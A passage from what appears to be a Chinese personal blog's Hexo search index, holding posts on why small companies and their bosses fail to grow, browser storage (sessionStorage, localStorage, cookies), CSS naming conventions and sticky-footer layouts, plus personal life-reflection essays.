<link href="/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html"/>
|
||
<url>/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="这七种公司永远做不大"><a href="#这七种公司永远做不大" class="headerlink" title="这七种公司永远做不大"></a>这七种公司永远做不大</h3><h4 id="1-格局小的企业"><a href="#1-格局小的企业" class="headerlink" title="1. 格局小的企业"></a>1. 格局小的企业</h4><ul><li>1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！</li><li>但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。</li></ul><h4 id="2-心态小的企业"><a href="#2-心态小的企业" class="headerlink" title="2. 心态小的企业"></a>2. 心态小的企业</h4><blockquote><p>俗话说：善奕者谋势，不善奕者谋子</p><ul><li>许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。</li></ul></blockquote><h4 id="3-短视的企业"><a href="#3-短视的企业" class="headerlink" title="3. 短视的企业"></a>3. 短视的企业</h4><ul><li>立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。</li><li>其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。</li></ul><h4 id="4-缺外脑的企业"><a href="#4-缺外脑的企业" class="headerlink" title="4. 缺外脑的企业"></a>4. 缺外脑的企业</h4><ul><li>曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。</li><li>说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？</li></ul><h4 id="5-缺内脑的企业"><a href="#5-缺内脑的企业" class="headerlink" title="5. 缺内脑的企业"></a>5. 缺内脑的企业</h4><ul><li>一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。</li></ul><h4 id="6-用金扁担挑粪的企业"><a href="#6-用金扁担挑粪的企业" class="headerlink" title="6. 用金扁担挑粪的企业"></a>6. 用金扁担挑粪的企业</h4><ul><li>从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。</li></ul><h4 id="7-需要预约的企业"><a href="#7-需要预约的企业" class="headerlink" title="7. 需要预约的企业"></a>7. 需要预约的企业</h4><ul><li>中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。</li><li>他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。</li></ul><h3 id="十种做不大的老板"><a href="#十种做不大的老板" class="headerlink" title="十种做不大的老板"></a>十种做不大的老板</h3><blockquote><p>据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。</p></blockquote><h4 id="没有大梦想的老板"><a href="#没有大梦想的老板" class="headerlink" title="没有大梦想的老板"></a>没有大梦想的老板</h4><ul><li>不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。</li></ul><h4 id="没有创业规划的老板"><a href="#没有创业规划的老板" class="headerlink" title="没有创业规划的老板"></a>没有创业规划的老板</h4><ul><li>这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。</li></ul><h4 id="不重视人才的老板"><a href="#不重视人才的老板" class="headerlink" title="不重视人才的老板"></a>不重视人才的老板</h4><ul><li>对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。</li></ul><h4 id="完全自己摸索，从不向明师请教的老板"><a href="#完全自己摸索，从不向明师请教的老板" class="headerlink" title="完全自己摸索，从不向明师请教的老板"></a>完全自己摸索，从不向明师请教的老板</h4><ul><li>完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！</li></ul><h4 id="观念保守思维不开放的老板"><a href="#观念保守思维不开放的老板" class="headerlink" title="观念保守思维不开放的老板"></a>观念保守思维不开放的老板</h4><ul><li>看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！</li></ul><h4 id="恃己之能从不学习的老板"><a href="#恃己之能从不学习的老板" class="headerlink" title="恃己之能从不学习的老板"></a>恃己之能从不学习的老板</h4><ul><li>经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。</li></ul><h4 id="畏首畏尾顾虑太多的老板"><a href="#畏首畏尾顾虑太多的老板" class="headerlink" title="畏首畏尾顾虑太多的老板"></a>畏首畏尾顾虑太多的老板</h4><ul><li>风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！</li></ul><h4 id="心思太细专做小事的老板"><a href="#心思太细专做小事的老板" class="headerlink" title="心思太细专做小事的老板"></a>心思太细专做小事的老板</h4><ul><li>把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。</li></ul><h4 id="埋头经营从不做宣传的老板"><a href="#埋头经营从不做宣传的老板" class="headerlink" title="埋头经营从不做宣传的老板"></a>埋头经营从不做宣传的老板</h4><ul><li>营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！</li></ul><h4 id="贪图小利不讲诚信的老板"><a href="#贪图小利不讲诚信的老板" class="headerlink" title="贪图小利不讲诚信的老板"></a>贪图小利不讲诚信的老板</h4><ul><li>讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li><p>从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究</p></li><li><p>改变自己，不甘平庸，相信明天！！！</p></li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 哲理 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>sessionStorage localStotage AND cookies</title>
|
||
<link href="/sessionStorage-localStotage-AND-cookies.html"/>
|
||
<url>/sessionStorage-localStotage-AND-cookies.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="sessionStorage"><a href="#sessionStorage" class="headerlink" title="sessionStorage"></a>sessionStorage</h3><blockquote><p>引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，</p></blockquote><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ul><li>减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递</li><li>快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示</li><li>临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便</li></ul><h3 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h3><blockquote><p>数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。</p></blockquote><h4 id="特点-1"><a href="#特点-1" class="headerlink" title="特点"></a>特点</h4><ul><li>cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识</li><li>只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值</li><li>cookie也是在所有同源窗口中都是共享的。</li></ul><h3 id="localStorage"><a href="#localStorage" class="headerlink" title="localStorage"></a>localStorage</h3><h4 id="特点-2"><a href="#特点-2" class="headerlink" title="特点"></a>特点</h4><ul><li>生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。</li></ul><p>使用方法:</p><pre><code class="js">var storage = null; if(window.localStorage){ //判断浏览器是否支持localStorage storage = window.localStorage; storage.setItem("name", "Rick"); //调用setItem方法，存储数据 alert(storage.getItem("name")); //调用getItem方法，弹框显示 name 为 Rick storage.removeItem("name"); //调用removeItem方法，移除数据 alert(storage.getItem("name")); //调用getItem方法，弹框显示 name 为 null }</code></pre>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> storage </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> sessionStorage </tag>
|
||
|
||
<tag> localStotage </tag>
|
||
|
||
<tag> cookies </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>wuti</title>
|
||
<link href="/wuti.html"/>
|
||
<url>/wuti.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="无题"><a href="#无题" class="headerlink" title="无题"></a>无题</h3><div id="dplayer1" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer1"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/blog/video/music/wuti.mp4"},"danmaku":{"id":"4","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 音乐 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> FS </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>badboy</title>
|
||
<link href="/badboy.html"/>
|
||
<url>/badboy.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="关于坏男人的定义"><a href="#关于坏男人的定义" class="headerlink" title="关于坏男人的定义"></a>关于坏男人的定义</h2><p>很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚</p><blockquote><p>但是往往会被冠以“狡猾” 和“危险”的名号</p></blockquote><p>是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心</p><h2 id="坏，是一种生命力的体现"><a href="#坏，是一种生命力的体现" class="headerlink" title="坏，是一种生命力的体现"></a>坏，是一种生命力的体现</h2><p>他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力</p><p>大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。</p><p>坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质 </p><p>我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。</p><blockquote><p>不随波逐流将会是我一生的追求</p></blockquote>]]></content>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> badBoy </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>关于罗永浩</title>
|
||
<link href="/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html"/>
|
||
<url>/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="理念"><a href="#理念" class="headerlink" title="理念"></a>理念</h3><ul><li>当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感</li></ul><h3 id="理财"><a href="#理财" class="headerlink" title="理财"></a>理财</h3><ul><li>罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。</li></ul><h3 id="社交"><a href="#社交" class="headerlink" title="社交"></a>社交</h3><ul><li>罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。</li><li>所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变</li></ul><h3 id="追求完美"><a href="#追求完美" class="headerlink" title="追求完美"></a>追求完美</h3><ul><li>罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，</li></ul><h3 id="性格"><a href="#性格" class="headerlink" title="性格"></a>性格</h3><ul><li>老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。</li><li>极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋.</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 哲理 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>css的命名规范</title>
|
||
<link href="/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html"/>
|
||
<url>/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="关于-css-的一些命名规范"><a href="#关于-css-的一些命名规范" class="headerlink" title="关于 css 的一些命名规范"></a>关于 css 的一些命名规范</h2><ul><li>css设计模式：SMACSS</li><li>BEM 命名规范</li><li>javascript Hook</li></ul><h3 id="SMACSS"><a href="#SMACSS" class="headerlink" title="SMACSS"></a>SMACSS</h3><p>首先，它定义了五种样式：</p><ul><li>base（基本）</li><li>layout（布局）</li><li>module（模块）</li><li>state（状态）</li><li>theme（皮肤）</li></ul><h4 id="base（基本）"><a href="#base（基本）" class="headerlink" title="base（基本）"></a>base（基本）</h4><ul><li>在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：</li></ul><pre><code class="css">html{}input[type=text] {}a:hover {}</code></pre><h4 id="layout-布局"><a href="#layout-布局" class="headerlink" title="layout(布局)"></a>layout(布局)</h4><ul><li>整个网站的【大架构】的外观，类似header，footer</li></ul><pre><code class="css">#header {}.sidebar {}</code></pre><blockquote><p>通常只有一个选择器，一个id，或一个class</p></blockquote><h4 id="module（组件）"><a href="#module（组件）" class="headerlink" title="module（组件）"></a>module（组件）</h4><ul><li>可复用组件，不需要任何prefix，</li></ul><h4 id="partial"><a href="#partial" class="headerlink" title="partial"></a>partial</h4><p>比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix </p><pre><code class="css">.nav--main_item {}</code></pre><h4 id="state"><a href="#state" class="headerlink" title="state"></a>state</h4><ul><li>定义状态，例如：.active, .on </li></ul><pre><code class="html"><ul> <li> </li> <li class="active"> </li><ul></code></pre><blockquote><p>.is-active 比.active 来的好读</p></blockquote><h4 id="skin（皮肤）"><a href="#skin（皮肤）" class="headerlink" title="skin（皮肤）"></a>skin（皮肤）</h4><ul><li>画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。</li></ul><h3 id="BEM-命名规范"><a href="#BEM-命名规范" class="headerlink" title="BEM 命名规范"></a>BEM 命名规范</h3><ul><li>BEM 即 block，element，modifier 缩写</li><li>将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。</li><li>block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个–区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container.</li></ul><pre><code class="css">.sidebar { .sidebar--left__section { .sidebar--left__section--header {} }}</code></pre><h3 id="javascript-hook"><a href="#javascript-hook" class="headerlink" title="javascript hook"></a>javascript hook</h3><ul><li>我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过<blockquote><p>html 里 class 之间用两个空格比一个空格好阅读</p></blockquote></li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> CSS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> css命名规范 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>sticky-footer</title>
|
||
<link href="/sticky-footer.html"/>
|
||
<url>/sticky-footer.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方</p><ul><li>like this</li></ul><p><img src="http://img0.tuicool.com/fuANjiq.png!web" alt="demo"></p><h2 id="实现思路"><a href="#实现思路" class="headerlink" title="实现思路"></a>实现思路</h2><ul><li>首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%</li><li>然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’</li><li>sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示</li></ul><h3 id="四种实现方法"><a href="#四种实现方法" class="headerlink" title="四种实现方法"></a>四种实现方法</h3><h4 id="容器使用负的-margin-bottom"><a href="#容器使用负的-margin-bottom" class="headerlink" title="容器使用负的 margin bottom"></a>容器使用负的 margin bottom</h4><pre><code class="html"><body> <div class="wrapper"> content <div class="push"></div> </div> <footer class="footer"></footer></body>html, body { height: 100%; margin: 0;}.wrapper { min-height: 100%; /* Equal to height of footer */ /* But also accounting for potential margin-bottom of last child */ margin-bottom: -50px;}.footer,.push { height: 50px;}</code></pre><h4 id="底部使用负的-margin-top"><a href="#底部使用负的-margin-top" class="headerlink" title="底部使用负的 margin top"></a>底部使用负的 margin top</h4><pre><code class="html"><body> <div class="content"> <div class="content-inside"> content </div> </div> <footer class="footer"></footer></body>html, body { height: 100%; margin: 0;}.content { min-height: 100%;}.content-inside { padding: 20px; padding-bottom: 50px;}.footer { height: 50px; margin-top: -50px;}</code></pre><h4 id="calc-版本"><a href="#calc-版本" class="headerlink" title="calc 版本"></a>calc 版本</h4><pre><code class="html"><body> <div class="content"> content </div> <footer class="footer"></footer></body>.content { min-height: calc(100vh - 70px);}.footer { height: 50px;}</code></pre><blockquote><p>calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~</p></blockquote><h4 id="flexbox-版本"><a href="#flexbox-版本" class="headerlink" title="flexbox 版本"></a>flexbox 版本</h4><pre><code class="html"><body> <div class="content"> content </div> <footer class="footer"></footer></body>html { height: 100%;}body { min-height: 100%; display: flex; flex-direction: column;}.content { flex: 1;}</code></pre><blockquote><p>flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。</p></blockquote><h4 id="grid-版本"><a href="#grid-版本" class="headerlink" title="grid 版本"></a>grid 版本</h4><pre><code class="html"><body> <div class="content"> content </div> <footer class="footer"></footer></body>html { height: 100%;}body { min-height: 100%; display: grid; grid-template-rows: 1fr auto;}.footer { grid-row-start: 2; grid-row-end: 3;}</code></pre><blockquote><p>Chrome Canary 或者 Firefox Developer Edition才能看到效果。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> CSS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> sticky布局 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>我向往的明天</title>
|
||
<link href="/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html"/>
|
||
<url>/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="欲望"><a href="#欲望" class="headerlink" title="欲望"></a>欲望</h1><ul><li><p>我很希望，自己的未来能不一样</p></li><li><p>我想要的，就是在平凡中不断的改变自己</p></li><li><p>路上的人，有人嘲笑，有人鼓励</p></li><li><p>我全都笑纳</p></li><li><p>好的留在心里</p></li><li><p>坏的随风飘逝</p></li><li><p>展现真正的自己，表达的更简单一些</p></li><li><p>在机会来临时</p></li><li><p>奋不顾身的抓牢它</p></li><li><p>不要被眼前的利益所迷惑</p></li><li><p>放眼更广阔的未来</p></li><li><p>做好自己</p></li><li><p>抓住身边一切的美好</p></li><li><p>当有一天对一切都无所畏惧</p></li><li><p>那就是</p></li><li><p>重生</p></li></ul><h4 id="谈谈今天"><a href="#谈谈今天" class="headerlink" title="谈谈今天"></a>谈谈今天</h4><blockquote><p>人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好<br>有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活<br>殊不知，彼此之间都存在着羡慕与无奈<br>我也不例外<br>如果哪天，我能够进入这样的世界<br>我是否能够保持清醒，不被外界所干扰，任然保持初心？<br>我也不敢保证，所以我一直在努力<br>为了不亏欠曾经的自己<br>我不敢停下脚步<br>我怕我停下来<br>就找不到回去的路<br>我也舍弃了太多<br>只因为我曾经欠下太多<br>但我不后悔<br>明天的路， 我想自己走<br>即使错了，那也是个经历，我会记在心中<br>将来成功的那天，回忆，何不是一种财富？</p></blockquote><h4 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h4><ul><li>每个人都不一样，早点实战，可能更快明白自己想要什么</li><li>我不认为一定会混技术职场，现在做的是为了我将来的梦想</li><li>我要做一款只属于自己的产品</li><li>即使时间再怎么磨砺</li><li>我也希望不要忘对自己的承诺</li><li>给自己定一个期限</li><li>6 年</li><li>即使以后再有钱，我也会把健康看做第一位</li><li>我希望那时我有房 有车 还有她</li><li>不想以后不顾家</li><li>未来我还是想闯出自己的一片天地</li><li>结婚的话在30-35之间吧，真希望她是个艺术家</li><li>6 年，努力点，足以在一个行业小有所成</li><li>那时候就是我想要的未来</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 人生感悟 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>四种常见的布局</title>
|
||
